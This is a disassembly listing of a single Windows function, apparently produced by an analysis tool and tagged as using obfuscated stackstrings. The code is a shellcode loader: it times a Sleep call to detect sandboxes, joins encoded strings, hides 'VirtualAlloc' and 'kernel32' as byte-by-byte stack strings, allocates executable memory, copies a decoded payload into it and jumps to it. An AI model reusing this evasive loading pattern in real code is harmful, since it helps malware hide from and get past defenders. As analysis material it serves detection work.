Function at 0x140001637
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
sub rsp, 0x3c0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x350], ecx
mov qword [rbp + 0x358], rdx
call sym.__main
call sym.clock
mov dword [rbp + 0x33c], eax
mov eax, dword [0x140010004]
add eax, eax
mov dword [0x140010004], eax
mov ecx, 0xe6
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x338], eax
mov ecx, 0x402
call sym.malloc
mov qword [rbp + 0x330], rax
mov eax, dword [rbp + 0x338]
sub eax, dword [rbp + 0x33c]
cmp eax, 0xe5
jle 0x140001d8f
mov eax, dword [rbp + 0x338]
sub eax, dword [rbp + 0x33c]
cmp eax, 0x149
jg 0x140001d8f
mov edx, dword [0x140010004]
mov eax, dword [0x140010008]
add eax, edx
mov dword [0x140010008], eax
lea rax, str.VMcn
mov rcx, rax
call sym.printf
lea rax, str.PGPGPGzKOOJKGOzzGGGGGGKHLHKHLGLILHKOJHIMLKOOyLIMGLMKOOyLIHOKOOyLIIGKOGyNKxKx
mov qword [rbp + 0x328], rax
mov eax, dword [0x140010008]
mov edx, dword [0x140010004]
sub eax, edx
mov dword [0x140010004], eax
lea rax, str.KOOyNILGKJ
mov qword [rbp + 0x320], rax
mov eax, dword [section..data]
mov edx, dword [0x140010008]
sub eax, edx
mov dword [0x140010008], eax
lea rax, str.HzPKOJHzGxzJzMHNzGIIzIGKHzHzPGKHGHzHILIKHLHKOOyLIIGOy
mov qword [rbp + 0x318], rax
mov dword [0x140010004], 0
lea rax, str.KIJzKOGHGMMOHNOHOGyGIGOLNIGGGGGGOyO
mov qword [rbp + 0x310], rax
mov edx, dword [section..data]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
lea rax, str.GOOGGGGGGKOOLzGNKMNKOGHGKKOyKGIGLGKPGHGOyKOHOJLMKOzPKJHzPKHOyJKOOKOGHMKOJHzGxzKHzHzP
mov qword [rbp + 0x308], rax
mov edx, dword [section..data]
mov eax, dword [0x140010008]
add eax, edx
mov dword [0x140010008], eax
lea rax, str.GKHGHzHJOGNLHKzGJKzIKGOKLJPHNLOLOKKOyKGIKKPGHGMMKHOyGzKOKKOyKGHzK
mov qword [rbp + 0x300], rax
mov eax, dword [0x140010008]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.PGHGKHOyGKOOKOGHGKHLOKHLOLLPLxKHLOKHLPKHLxKOOJzIGKHLIGLOKHLPLxKOOyHIPKy
mov qword [rbp + 0x2f8], rax
mov edx, dword [section..data]
mov eax, dword [0x140010004]
add eax, edx
mov dword [0x140010004], eax
lea rax, str.LKPyNNNJJILJJJIGGGGKHLMKPOPMKOOHzxGGHGGGGKPOPLKPyzGIGGINGzGxOGIGzKHLKKPOPKKzOPH
mov qword [rbp + 0x2f0], rax
mov eax, dword [0x140010004]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
lea rax, str.KHyxKzNNIMGNLKzOPxMOGHGHGGGGLPKHyxIPOGMyGGLMxGxKHLLGLGKJHzPKJHzGKOz
mov qword [rbp + 0x2e8], rax
mov eax, dword [section..data]
mov edx, dword [0x140010008]
sub eax, edx
mov dword [0x140010008], eax
lea rax, str.GKOOPzIKOzGKOO
mov qword [rbp + 0x2e0], rax
mov edx, dword [0x140010008]
mov eax, dword [0x140010004]
add eax, edx
mov dword [0x140010004], eax
lea rax, str.PzHKHyxxGGLKOOPzNMxHGKHLOKzOPIKO
mov qword [rbp + 0x2d8], rax
mov edx, dword [0x140010004]
mov eax, dword [0x140010008]
imul eax, edx
mov dword [0x140010008], eax
lea rax, str.OPPKHyxPPxLNKMHLOLzGNKGxKPzNLLOPJGGGGGGKOOJzHGKOOPI
mov qword [rbp + 0x2d0], rax
mov edx, dword [0x140010004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
lea rax, str.KJHzPMxGKKHLOKOOPPKHyxGIPzOLLOJOGGNLLKOOJzKIGLOPMMxKGKHLPMOGGHGGGGGKHLOKOOPIKO
mov qword [rbp + 0x2c8], rax
mov edx, dword [section..data]
mov eax, dword [0x140010004]
imul eax, edx
mov dword [0x140010004], eax
lea rax, str.JHzPKHyxLOxKLJLLKOO
mov qword [rbp + 0x2c0], rax
mov eax, dword [0x140010008]
mov edx, dword [0x140010004]
sub eax, edx
mov dword [0x140010004], eax
lea rax, str.PzJKPOPzNKJHzPKPOPGKOOPxKOOPPKHyxGIPzOLLO
mov qword [rbp + 0x2b8], rax
mov edx, dword [0x140010008]
mov eax, dword [0x140010004]
imul eax, edx
mov dword [0x140010004], eax
lea rax, str.JOGGNIOLOKHLNLPMOGGKGGGGGKHLOMxGGLxKHyxGyIGJGLLNLPKHyxNLMKMH
mov qword [rbp + 0x2b0], rax
mov dword [section..data], 0
lea rax, str.LKPzPJz
mov qword [rbp + 0x2a8], rax
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
lea rax, str.KOGHzJKOIPzMKOOLMNLyKKHNLOMxGGLPKPzNzIGyLxILML
mov qword [rbp + 0x2a0], rax
mov edx, dword [section..data]
mov eax, dword [0x140010008]
add eax, edx
mov dword [0x140010008], eax
lea rax, [rbp - 0x40]
mov edx, 0x2ad
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov rdx, qword [rbp + 0x328]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcpy
mov edx, dword [0x140010004]
mov eax, dword [0x140010008]
add eax, edx
mov dword [0x140010008], eax
mov rdx, qword [rbp + 0x320]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010008]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x318]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140010008]
sub eax, edx
mov dword [0x140010008], eax
mov rdx, qword [rbp + 0x310]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010004]
mov eax, dword [0x140010008]
add eax, edx
mov dword [0x140010008], eax
mov rdx, qword [rbp + 0x308]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140010008]
sub eax, edx
mov dword [0x140010008], eax
mov rdx, qword [rbp + 0x300]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140010008]
mov edx, dword [section..data]
sub eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x2f8]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010008]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x2f0]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010004]
mov eax, dword [section..data]
imul eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x2e8]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140010004]
sub eax, edx
mov dword [0x140010004], eax
mov rdx, qword [rbp + 0x2e0]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140010004]
sub eax, edx
mov dword [0x140010004], eax
mov rdx, qword [rbp + 0x2d8]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140010008]
mov edx, dword [0x140010004]
sub eax, edx
mov dword [0x140010004], eax
mov rdx, qword [rbp + 0x2d0]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010004]
mov eax, dword [section..data]
add eax, edx
mov dword [section..data], eax
mov rdx, qword [rbp + 0x2c8]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010008]
mov eax, dword [0x140010008]
imul eax, edx
mov dword [0x140010008], eax
mov rdx, qword [rbp + 0x2c0]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [0x140010008]
mov edx, dword [0x140010004]
sub eax, edx
mov dword [0x140010004], eax
mov rdx, qword [rbp + 0x2b8]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov dword [0x140010008], 0
mov rdx, qword [rbp + 0x2b0]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
add eax, eax
mov dword [section..data], eax
mov rdx, qword [rbp + 0x2a8]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov eax, dword [section..data]
mov edx, dword [0x140010008]
sub eax, edx
mov dword [0x140010008], eax
mov rdx, qword [rbp + 0x2a0]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.strcat
mov edx, dword [0x140010008]
mov eax, dword [0x140010008]
imul eax, edx
mov dword [0x140010008], eax
mov rax, qword [rbp + 0x358]
add rax, 8
mov rdx, qword [rax]
mov rax, qword [rbp + 0x330]
mov rcx, rax
call sym.wRun
mov qword [rbp + 0x298], rax
mov rdx, qword [rbp + 0x298]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.CKUf
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x290], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x290]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x2ad
mov ecx, 0
call rax
mov qword [rbp + 0x278], rax
mov rax, qword [rbp + 0x278]
mov rcx, rax
lea rax, [rbp - 0x40]
mov edx, 0x2ad
mov r8, rdx
mov rdx, rax
call sym.memcpy
mov rax, qword [rbp + 0x278]
call rax
mov edx, dword [section..data]
mov eax, dword [0x140010004]
add edx, eax
mov eax, dword [0x140010008]
add edx, eax
mov eax, dword [0x14001000c]
add eax, edx
mov edx, eax
lea rax, [0x140011459]
mov rcx, rax
call sym.printf
jmp 0x140001da9
mov dword [0x140010004], 0
lea rax, str.VMcn
mov rcx, rax
call sym.printf
nop
add rsp, 0x3c0
pop rbp
ret